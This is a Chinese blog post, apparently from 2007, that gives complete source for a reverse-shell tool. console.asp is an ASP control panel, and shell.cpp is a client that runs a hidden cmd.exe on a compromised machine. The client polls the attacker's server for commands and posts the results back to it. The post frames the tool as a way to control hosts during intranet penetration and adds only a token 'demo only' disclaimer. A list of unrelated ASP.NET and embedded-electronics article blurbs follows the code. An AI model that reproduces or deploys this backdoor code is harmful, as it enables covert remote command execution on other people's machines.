| 发布时间:2007-8-29 7:50:47 |
|
原理:用ASP实现反向连接,客户端shell.exe大小6K,控制端console.asp大小1.75K
详解: 灵感来自在入侵渗透内网时需反向连接但没有公网IP的时候,想到ASP的Application对象功能之强大,所以产生以下想法 肉机执行程序shell.exe让cmd.exe与偶网站一ASP程序进行交互,实现控制 Application("output")为输出流,保存程序执行结果 Application("input")为输入流,保存要执行的命令 思路: [Client] <-----> [Control] <-----> [Attacker] Client上运行shell.exe,Control运行console.asp,Attacker通过访问console.asp控制Client 实例: 肉机A,运行"shell.exe cooldiyer.uni.cc /cmd.asp" 偶网站放上cmd.asp,URL路径为 http://cooldiyer.uni.cc/cmd.asp 这时我访问 http://cooldiyer.uni.cc/cmd.asp?who=master ;(参数一定要加上,标明身份) 就可以进行控制了,Refresh刷新可以看到已经有结果了,输入命令,点Execute执行,过几秒钟后, 点击Refresh按钮可以看到执行结果,点击Clear清空输入输出流,执行"exit"程序退出 声明: 只做技术交流,程序只做演示使用,只实现与cmd.exe交互的功能,转载或修改需保留版权 代码: console.asp ____________________________________________________________________________ <% ’ 功能介绍: ’ 用ASP实现反向SHELL连接,与cmd.exe交互,执行命令后点Refresh后就可以看到回显 ’ 公用变量 Application("input")、Application("output")为全局输入输出流 ’ 如果请求登录 if request("act") = "login" then application("login") = "yes" response.end end if ’ 如果请求退出 if request("act") = "exit" then application("login") = "no" application("input") = "" application("outout") = "" response.end end if ’ 验证是否已经登录 if application("login") <> "yes" and request("who") = "master" then response.write "Client not connect.." response.end end if ’ 如果请求执行命令,放到Input流里 if request("cmd") <> "" then application("input") = request("cmd") end if ’ 如果命令执行完毕,结果放到output流,input流置空 if request("result")<>"" then application("output") = application("output") + request("result") application("input") = "" end if %> <% If request("frame")="1" Then %> <% ’ 如果请求清空输入输出流 if request("act") = "clear" then Application("input") = "" Application("output") = "" response.redirect request.servervariables("script_name")&"?frame=1" end if %> <textarea cols=120 rows=30> <%=application("output")%> </textarea> <a href=# onclick="location.replace(location.href);">Refresh</a> <a href=?frame=1&act=clear>Clear</a> <% elseif request("who") = "master" then %> <html> <head><title>ASP Console Manager By cooldiyer</title></head> <body> ?frame=1 width=900 height=500 frameborder=0><br> <form method=post name=frm> <input type=text size=50 name="cmd"> <input type=hidden name="who" value="master"> <input type=submit value="Execute"> </form> <script>frm.cmd.focus();</script> <% else response.write application("input") end if %> ____________________________________________________________________________ // shell.cpp : Defines the entry point for the console application. // // 实现功能: 与ASP控制端实现交互,实现反向连接 // #include "stdafx.h" #include "shell.h" #include "afxinet.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif #define BUFFER_SIZE 1024 // 读缓冲区大小 ///////////////////////////////////////////////////////////////////////////// // The one and only application object CWinApp theApp; using namespace std; CString URLEncode(const char* s); // URL 编码函数 BOOL PostRequest(const char *szFormData, char *szResult); // 向控制端发送请求函数 void DoShell(); // 与cmd.exe进行交互函数 char szServer[50], szPath[50]; // 公用变量 int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TOD change error code to suit your needs cerr << _T("Fatal Error: MFC initialization failed") << endl; nRetCode = 1; } printf("ASP Console Client By CoolDiyer/n"); if (argc == 3) { memset(szServer, 0, sizeof(szServer)); memset(szPath, 0, sizeof(szPath)); strcpy(szServer, argv[1]); strcpy(szPath, argv[2]); } else { printf("Usage:/n/trshell <Server> <Path>/nExp./n/trshell www.abc.com /x.asp/n"); return -1; } char szResult[1024]; PostRequest("act=login", szResult); //登录 DoShell(); // 执行与cmd.exe的交互 PostRequest("act=exit", szResult); //退出 return nRetCode; } // // URL编码函数,返回一个CString变量 // CString URLEncode(const char* s) { CString encoded = ""; int len = strlen(s); char* buf = new char[16]; // way longer than needed unsigned char c; for(int i=0; i < len; i++) { c = s[i]; if ((c >= ’A’ && c <= ’Z’) || (c >= ’a’ && c <= ’z’) || (c >= ’0’ && c <= ’9’) || c == ’.’ || c == ’-’ || c == ’_’) { sprintf(buf, "%c", c); encoded += buf; continue; } if(c == ’ ’) { sprintf(buf, "%c", ’+’); encoded += buf; continue; } sprintf(buf, "%.2X", c); encoded += "%"; encoded += buf; } delete[] buf; return encoded; } // // 表单发送函数,核心例程,返回接收到的内容,也就是要执行的命令 // BOOL PostRequest(const char *szFormData, char *szResult) { unsigned int uRetry = 3; //重试三次 try{ loop: CInternetSession session; CHttpConnection *pConnection = session.GetHttpConnection(szServer); CHttpFile *pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, szPath); // AddRequestHeaders是必要的 pFile->AddRequestHeaders("Content-Type: application/x-www-form-urlencoded"); CString szData; if (pFile -> SendRequest(NULL,0,(LPVOID) szFormData, strlen(szFormData)+1)) { while(pFile->ReadString(szData)) { if (szResult != NULL) strcpy(szResult, szData.GetBuffer(0)); } pFile->Close(); } session.Close(); } catch(...){ if (uRetry --) goto loop; } return TRUE; } // // 让cmd.exe与ASP控制端进行交互的核心例程 // void DoShell() { int ret; SECURITY_ATTRIBUTES sa; sa.nLength = sizeof( sa ); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2; ret=CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0); ret=CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0); STARTUPINFO si; ZeroMemory(&si, sizeof(si)); GetStartupInfo(&si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; PROCESS_INFORMATION processInfo; char cmdLine[] = "cmd.exe"; ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION)); ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo); char buff[BUFFER_SIZE] = { 0 }; char szTmp[BUFFER_SIZE*3]; // 因为要把结果进行编码,所以缓冲区相对要大 unsigned long bytesRead = 0; int i = 0; while (TRUE) { memset(buff, 0, BUFFER_SIZE); ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0); for (i = 0; i < 5 && bytesRead == 0; i++) { Sleep(100); ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL); } if (bytesRead) { ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 ); if (!ret) break; memset(szTmp, 0, sizeof(szTmp)); strcpy(szTmp, "result="); strcat(szTmp, URLEncode(buff).GetBuffer(0)); printf("%s", szTmp); PostRequest(szTmp, NULL); // 发送命令执行结果 printf("Post command result ok/n"); } else { // 得到要执行的命令 do { PostRequest("get=yes", buff); printf("get command/n"); ::Sleep(1000); // 间隔为1秒 } while (strlen(buff) <= 0); printf("%s/n", buff); // 命令为exit则退出 if (strcmp(buff, "exit") == 0) break; // 程序退出 strcat(buff, "/n"); // 加上换行 bytesRead = strlen(buff); printf("execute command %s", buff); // 执行命令 WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0); } } TerminateProcess(processInfo.hProcess, 0); CloseHandle(hReadPipe1); CloseHandle(hReadPipe2); CloseHandle(hWritePipe1); CloseHandle(hWritePipe2); } |
相关推荐
STM32H743的ADC还能这么玩?定时器触发+DMA搬运,构建低CPU占用的数据流
本文深入探讨了STM32H743微控制器中ADC的高效使用方法,通过定时器触发和DMA搬运技术实现低CPU占用的数据流采集。详细解析了硬件架构、CubeMX配置步骤及高级优化技巧,包括双缓冲技术和多ADC同步采样,适用于电机控制、音频采集等高性能应用场景。
asp几个转码函数
'UTF转GB function UTF2GB(UTFStr) for Dig=1 to len(UTFStr) if mid(UTFStr,Dig,1)="%" then if len(UTFStr) >= Dig+8 then GBStr=GBS
从string一词感受从字母象形到语义生成的底层逻辑
从词源上看,个人认为,soft一词的含义主要来自于“柔软水滑或柔软光滑”这样的含义,是从这样的含义中逐渐窄化,最终主要用来指“柔软”之意,而光滑、水滑这样的含义或语义形象最终被淡化,所以,soft如果符合首字母象形原则,那么它主要的来源形象,应当是【水】,也就是说,soft一词和smooth(a.光滑的)、ski(滑雪)/skate(滑冰)、slip(滑倒)/slippers(拖鞋)、slide(滑动)是相通的,并最终和sea(海)、sweat(汗/汗水)这一类和水一直相关的单词也相通。
[转]ASP中Split函数的实例
ASP中Split函数的实例作者:佚名 转贴自:本站原创 点击数:4 大家有碰到过要想取一字符串里的某些值而无从下手?有没有觉得看书或教材对split的写法糊里糊涂……如果有此疑问的话,请看下面我对例子的解释,相信您会对这个有一定的了解。 我先介绍一下Split函数的用法: 返回值数组 = Split(字符串,分割符)
Cursor Agent模式下如何优雅切换conda环境运行Python脚本?3种实用方法实测
本文针对Cursor Agent模式下运行Python脚本时环境错配的痛点,实测了三种优雅切换conda环境的实用方法。通过Shell全局配置、项目级.cursorrc文件定制以及对话中直接指令,开发者可以确保AI助手在正确的虚拟环境中执行代码,从而提升开发效率和协作流畅度。
Xilinx UltraScale+系列FPGA实现USB3.0 DEV 设备 部分原理图+代码分享
Zynq UltraScale+ MPSoC 系列是 Xilinx 新一代 Zynq 平台。在 FPGA 里有完整的 ARM 处理(PS),包含了四核或双核 Cortex-A53 处理器 ,处理器子系统中有DDR内存控制器等大量的外设,在FPGA中完全独立于可编程逻辑单元(PL)如果暂时没有用到PL部分,PS也能单独工作,相当于可以当成一个ARM来用了(以前的不行)。 ARM也包含USB3.0控制器,这是实现USB3.0DEV的关键,根据官方手册(ug1085)描述,USB主(Host)从(Device)
ASP常用函数大收集01[大部分来自网络]
*************************************防止外部提交*************************************function ChkPost() dim server_v1,server_v2 chkpost=false server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
PSI5协议技术文档与驱动开发指南
• 供电与数据复用:ECU通过双绞线为传感器提供稳压(典型值5V-11V),同时检测线路电流变化实现数据传输。• 同步信号:ECU发送3.5V电压脉冲(上升沿触发传感器响应),用于时序同步。• 安全气囊:PSI5-P模式实现多碰撞传感器同步采样(响应时间<10ms)• CRC-3(3位):ASIL-B以上功能安全要求(如动力总成传感器)• 奇偶校验(1位):适用于低安全等级场景(如PSI5-P10P模式)• 典型应用:PSI5-P(并行总线)、PSI5-U(通用总线)
跟着微软学ASP.NET Core(三) -使用EF框架与身份验证创建CRUD页面
这篇文章主要是在 通过现有数据库在 ASP.NET Core 上开始使用 EF Core 和 通过现有数据库在 ASP.NET Core 上开始使用 EF Core 这两篇文章作为基础的,可以先读完这两篇文章并做完文章的步骤再来看看。 好了,我们现在开始。 在创建项目的时候,我们会使用身份验证。 在右边的“Change Authentication” 选择个人身份验证。这样一来,我们的网...
温度实时检测预警系统(STC89C51RC+DS18B20)
温度实时检测预警系统
(6):单相三绕组变压器的拉氏变换数学模型和仿真模型
本节详细推导了基于耦合电路的单相三绕组变压器考虑铁心损耗情况下的拉普拉斯变换数学模型,并据此用Matlab/Simulink的传递函数模块搭建了相应的仿真模型,仿真结果表明所建立的数学模型和仿真模型都是正确的。本文的贡献是建立了考虑铁心损耗的单相三绕组变压器基于拉氏变换象函数的数学模型,为使用Simulink传递函数模块实现单相三绕组变压器的仿真模型提供了一条途径,所采用的建模方法和技巧具有启发作用,值得借鉴。
(18)ASP.NET Core2.2 基于现有数据库创建EF模型(反向工程)
Entity Framework Core可通过数据库提供给应用程序的插件访问许多不同的数据库。我们可以通过使用Entity Framework Core构建执行基本数据访问的ASP.NET Core MVC应用程序,对现有数据库进行反向工程以便创建Entity Framework模型。
【局部规划模块曲线算法】曲线平滑介绍
本文先对轨迹平滑问题做个简单的介绍,具体内容后续再更,其他模块可以参考去我其他文章提示:以下是本篇文章正文内容(1)适合给移动机器人运动的路径【满足运动学,高阶平滑】(2)高阶的运动学不能够突变的【至少三阶的加速度不能突变,最好四阶的jerk和五阶的snap也不能突变】(3)在转弯的地方不会停下来(4)加减速均衡,节省能量(5)节省时间的。
WebSocket连接频繁断开?掌握这7个技巧彻底稳定ASP.NET Core通信链路
解决ASP.NET Core WebSocket实时通信连接不稳定问题,本文分享7个实用优化技巧,涵盖心跳机制、异常处理、负载均衡等关键方案,提升长连接稳定性与系统可靠性,适用于聊天室、实时推送等场景,值得收藏。
Statistics and Machine Learning Toolbox
Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具
锂电池充电器电路设计 里面有电路
锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。
IIS作为ASP.NET Core2.1 反向代理服务器未说的秘密
--以下内容针对 ASP.NET Core2.1,2.2出现IIS进程内寄宿 暂不展开讨论--- 相比ASP.NET,出现了3个新的组件:ASP.NET...
IDEA的使用指南
IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.
asp登录页面的代码sqlserver_asp.net core 系列 21 EF现有数据库进行反向工程
一.概述 在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。实现对已有数据库进行反向工程,来构建数据访问的 http://ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。1.1 创建新项目打...
麒麟系统(Linux)上配置Nginx服务反向代理asp.net core 应用程序
本文阐述了如何设置Nginx来反向代理Asp.Net Core应用程序。同时配置后Nginx和Asp.Net Core应用程序都可以随着服务器启动而自动启动。
asp.net core 系列 21 EF现有数据库进行反向工程
一.概述 在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。 实现对已有数据库进行反向工程,来构建数据访问的 ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。 1.1 创建新项目 ...
idea数据库反向生成实体类_asp.net core 系列 21 EF现有数据库进行反向工程
一.概述在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。 实现对已有数据库进行反向工程,来构建数据访问的 ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。 1.1 创建新项目 打开 Visual ...
asp 保存listbox已有的值_asp.net core 系列 21 EF现有数据库进行反向工程
一.概述 在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。实现对已有数据库进行反向工程,来构建数据访问的 http://ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。1.1 创建新项目打...
ASP.NET Core 8.0学习笔记(二十八)——EFCore反向工程
1.原则:DBFirst2.反向工程:根据数据库表来反向生成实体类3.生成命令:Scaffold-DbContext ‘连接字符串’Server=.;
WebSocket连接总是中断?掌握这4个技巧,彻底解决ASP.NET Core关闭难题
轻松解决ASP.NET Core WebSocket关闭频繁中断问题,涵盖心跳机制、异常重连、服务端优雅关闭与客户端容错处理四大技巧。适用于实时通信、在线协作等场景,提升连接稳定性与系统可靠性,值得收藏。
Yarp 条件反向代理
最近有在使用 Yarp 做第三方 API 的反向代理,为了避免第三方的 API 出问题导致我们的服务出现,我们同步了一些 API 到我们自己的数据库中,有一些 API 我们就可以从我们自己的数据来提供服务从而避免调用第三方的 API 这样一定程度上也可以提高我们服务 API 的性能,也可以结合 feature flag 动态地控制是否要从我们自己的数据提供服务还是 proxy 到第三方的 API。接着我们试一下不走 proxy 的情况。可以看到此时返回的是我们自己设置的响应。配置示例和上一篇是一样的。
基于ASP身份认证网关实现Web系统免代码改造的单点登录方案
摘要:企业数字化转型中,遗留系统因技术陈旧、源码缺失或厂商失联,难以支持现代身份协议(如SAML/OIDC),导致单点登录(SSO)改造成本高昂。本文提出基于ASP身份认证网关的代理式SSO方案,通过反向代理+协议转换+会话注入技术,无需修改目标系统代码即可实现统一身份认证。方案涵盖网关工作原理、部署模式、会话同步及安全策略,并结合金融、制造等行业案例,展示其在保障业务连续性的同时满足等保2.0合规要求。认证网关通过模拟登录与凭证托管,实现零改造SSO,尤其适用于无法升级的遗留系统。
647



被折叠的 条评论
为什么被折叠?



